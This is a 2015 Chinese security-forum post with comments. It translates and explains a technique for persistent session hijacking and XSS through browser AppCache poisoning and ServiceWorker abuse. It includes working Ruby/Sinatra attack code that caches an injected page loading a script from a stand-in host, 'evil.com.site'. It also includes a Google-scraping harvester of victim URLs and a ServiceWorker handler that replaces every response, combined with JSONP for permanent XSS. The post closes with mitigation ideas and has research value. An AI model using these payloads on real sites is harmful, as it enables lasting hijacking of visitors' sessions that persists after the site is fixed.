利用 Appcache 和 ServiceWorker 进行持久型session hijacking 和 XSS
小饼仔 | 2015-08-20 14:52
看了篇文章 Using Appcache and ServiceWorker for Evil,讲的是黑下服务器后,通过 Middlekit 技术,污染每个访问者的浏览器cache,通过这个方法,我们能够改变请求的响应,将请求代理到我们的server,造成持久的session hijacking 和 XSS。
PS:老外思路确实猥琐!
翻译或理解有误,欢迎指出~
下面是示意图
文件具体介绍了浏览器下两种攻击方法
- 利用浏览器的 Appcache 造成持久的cache poisoning
- 利用ServiceWorker 来更改所有请求的响应(Chrome下)
AppCache
简单介绍
随着移动互联网越来越普及, 在移动端采用web技术解决跨平台、快速部署、快速发布的方案也越来越多。 但对于web方式实现的app又面临者网络的强依赖,对网速和流量有较高要求,针对此问题html提出了AppCache方案, 用于解决web离线缓存问题
AppCache详细介绍可以参考HTML5 AppCache机制分析
理解了AppCache的原理,后面的会好理解些
影响范围:Appcache在所有新版浏览器中都得到了支持,参考 http://caniuse.com/#search=appcache
首先说一下示例代码大体思路:
1. 首先在server上添加一个路由请求
/a.appcache
请求返回内容为浏览器需要缓存的页面路径等信息,需要有一定格式
并设置响应头
response.headers['cache-control'] = 'max-age=3155760000' # 缓存超时时间 response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8' #表明是cache-manifest文件
浏览器根据该文件内容来缓存指定的页面。
2. 然后创建一个恶意页面这里为 middlekit.html,需要在内容的 html 标签里加一个属性,
<html manifest='/a.appcache'>
用于加载a.appcache,告诉浏览器需要缓存
然后其他内容随可以为恶意js等。
当然也可以修改其他访问多的页面内容,添加manifest,比如入口页index.html
3. 用户访问 2 中的恶意页面 middlekit.html,浏览器载入a.appcache,然后根据内容缓存我们指定的文件,而这些文件的内容,我们是可以替换的,比如加入xss等恶意代码。
4. 用户后续请求这些文件,将会载入本地的缓存,而本地缓存文件包含了恶意代码。
正常来说,浏览器从缓存中拿文件时,都会向服务器请求相应cache-manifest文件,如果cache-manifest文件被修改过,就会修改或删除本地的缓存。但是如果cache-manifest本身在缓存的列表之中,浏览器就会从缓存中拿,而不会请求服务器。
还有就是无法通过javascript来删除缓存,这就使得只要缓存一次,除非手动访问 chrome://appcache-internals/ 删除,缓存就会一直存在。即使是网站已经修复了漏洞,插入了恶意代码的本地文件依然在浏览器的缓存中,一直影响用户,造成持久的session hijacking 和 XSS
PS. wifi下的中间人攻击(MitM),也可以替换是http的响应,达到同样的目的。
下面是代码,用的是ruby 微型Web框架 sinatra
require 'sinatra' # 替换响应内容 wire = lambda do if params[:utm_medium] r= "real content" else r=<<HTML <html manifest='/a.appcache'> <script src="https://evil.com.site/middlekit.js"></script> <script> function load(url){ x=new XMLHttpRequest; x.open('get',url); x.setRequestHeader('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8'); x.setRequestHeader('Cache-Control','max-age=0'); x.setRequestHeader('Upgrade-Insecure-Requests','1'); x.send(); x.onreadystatechange=function(){ if(x.readyState==4){ document.write(x.responseText); //document.body.parentElement.innerHTML = x.responseText; } } } if(location.href.indexOf("?") != -1){ var u = location.href + "&utm_medium=1"; }else{ var u = location.href + "?utm_medium=1"; } //history.pushState("","",url); console.log("Infected") load(u); </script> </html> HTML end r end # 路由path pages = %w{/ /reconnect /lengthextension /logindemo /peatio.pdf /stealtitle /blog/2015/03/15/authy_bypass.html /blog/2015/03/03/duo_format_injection.html /blog/2015/07/28/appcache.html /blog/2015/03/10/Profilejacking.html /blog/2015/06/04/mongo_ruby_regexp.html /blog/2015/05/08/pusher.html /blog/2015/03/04/hybrid_api_auth.html /blog/2015/03/27/slack_or_reset_token_hashing.html /blog/2015/07/18/2fa.html /blog/2015/05/21/starbucks.html /blog/2015/03/05/RECONNECT.html /blog/2014/01/01/puzzle1.html /blog/2015/04/10/email_password_manager.html /blog/2015/02/28/openuri.html /blog/2015/06/25/puzzle2.html /blog/2015/01/22/peatio-audit.html /blog/2015/01/10/hacking-bitcoin-exchanger.html /triple} # 替换响应内容 pages.each{|page| get page, &wire } # 响应/a.appcache get '/a.appcache' do response.headers['cache-control'] = 'max-age=3155760000' response.headers['content-type'] = 'text/cache-manifest; charset=UTF-8' "CACHE MANIFEST /a.appcache #{pages.join("\n")} " end
测试的时候需要修改下hosts文件,添加
127.0.0.1 sakurity.com
本地执行后,chrome://appcache-internals 缓存内容
打开任意一个缓存后链接,显示从cache取
还有因为在 manifest 中需要指定缓存文件,所以尽可能多的收集URL才能让user agent cache多一些。比如可以利用google site关键字,site:victim.com
作者给出的通过google来收集url的ruby代码
require 'open-uri' f=open('https://www.google.ru/search?q=site%3Asakurity.com&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8').read def get_pages(domain) f=open('https://www.google.ru/search?q=site%3A'+domain+'&oq=site%3Asakurity.com&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=10&num=100&').read r = f.scan /http:\/\/#{domain}(.*?)[&%]/im puts r.flatten.uniq.join(' ') end get_pages 'sakurity.com'
在收集过程中,可以收集一些用户相关的url,比如“/settings” or “/homakov/direct_messages”。
ServiceWorker
介绍:
Service Worker,我们可以用它来进行本地缓存,相当于一个本地的proxy。说起缓存,我们会想起我们常用的一些缓存技术来缓存我们的静态资源,但是老的方式是不支持调试的,灵活性不高。使用Service Worker来进行缓存,我们可以用javascript代码来拦截浏览器的http请求,并设置缓存的文件,直接返回,不经过web服务器,然后,做更多你想做的事情。
如果我们使用了Service Worker做缓存,浏览器http请求会先经过Service Worker,通过url mapping去匹配,如果匹配到了,则使用缓存数据,如果匹配失败,则继续执行你指定的动作。一般情况下,匹配失败则让页面显示“网页无法打开”。
上面是Service Worker的基本使用场景,当然,不仅仅局限于数据缓存。
详细可参考 初识ServiceWorker
影响范围:Chrome on desktop and only over https: websites
但危害比Appcache更大,但范围有限。
利用 ServiceWorker ,我们不需要为每一个页面都设置缓存,它能够拦截所有请求,修改响应。能够通过一个worker来控制整个domain
js代码
onfetch=function(e){ e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}})) }
为了安装ServiceWorker ,浏览器会判断响应头中包含
content-type:text/javascript
那这个怎么办呢?
许多JSONP接口都会返回任意的JS代码。所以可以结合JSONP
示例服务器端代码
# Try to get persistent XSS on https://clientsit.herokuapp.com/ # 1. The user loads the /xss link you crafted # 2. The user closes the tab and opens any other page # 3. The user sees an alert. # PS. not ruby specific. For Chrome. get '/jsonp' do response.headers['content-type'] = 'text/javascript' "#{params[:callback]}(0)" end get '/xss' do response.headers['x-xss-protection'] = '0;' "<html><body>Hello, #{params[:user]}</body></html>" end
昨天试了下,还是可以执行的,今天就被Chrome XSS Auditor拦了
可以说
XSS + JSONP + ServiceWorker = Permanent XSS on every page
总结
Appcache 修复起来非常困难,因为缓存是在客户端。它可以被作为完美长期的 cache poisoning tool。当我们访问的服务器被控制或不安全的连接(中间人攻击)会受到该攻击影响
ServiceWorker是一项新兴技术,实现时需要考虑很多问题,比如和JSONP一起使用的情况。让任意响应为 text/javascript 成为一个ServiceWorker是非常糟糕的主意。至少可以添加额外的响应头 Service-Worker:true 或 准确的指明 Content-Type:text/javascript-serviceworker 来加以限制
各种吐槽:
1#
hkAssassin | 2015-08-20 15:28
不错
2#
海盗湾V | 2015-08-20 19:37
赞一个。。
3#
小饼仔 | 2015-08-21 15:03
@海盗湾V @hkAssassin 感觉如果利用起来,危害不小,可以试试
4#
insight-labs (Root Yourself in Success) | 2015-08-21 16:25
除非手动访问 chrome://appcache-internals/ 删除,缓存就会一直存在。即使是网站已经修复了漏洞,插入了恶意代码的本地文件依然在浏览器的缓存中,一直影响用户,造成持久的session hijacking 和 XSS
很实用的技术啊
5#
hkAssassin | 2015-08-21 17:25
@小饼仔 是的。危害不小
6#
小饼仔 | 2015-08-21 18:27
@insight-labs 修复方式是让用户自己手动删除,确实不实际
7#
超蓝 (换个马甲好好做人,请叫我暧昧) | 2015-08-21 20:51
6666
够猥琐
8#
debug | 2015-08-24 09:14
思路不错
manifest 文件需要配置正确的 MIME-type,即 "text/cache-manifest"。必须在 web 服务器上进行配置。
9#
爱捣蛋的鬼 | 2015-08-24 14:29
除非手动访问 chrome://appcache-internals/ 删除,缓存就会一直存在。即使是网站已经修复了漏洞,插入了恶意代码的本地文件依然在浏览器的缓存中,一直影响用户,造成持久的session hijacking 和 XSS
。。都知道这个恶意代码了, 如果修改了话, 那肯定会更改版本号了,让缓存失效~
10#
爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-08-24 14:59
刁刁的
11#
小饼仔 | 2015-08-24 15:02
@爱捣蛋的鬼 正常来说manifest如果没有被缓存,服务器端如果更新了,本地缓存也会修改。如果把manifest本身也加到缓存列表中,浏览器就不会去服务端拿manifest文件了。
12#
爱捣蛋的鬼 | 2015-08-24 17:30
@小饼仔 了解了,这个屌,我忘记了这个缓存描述文件,本身自己被缓存了~~~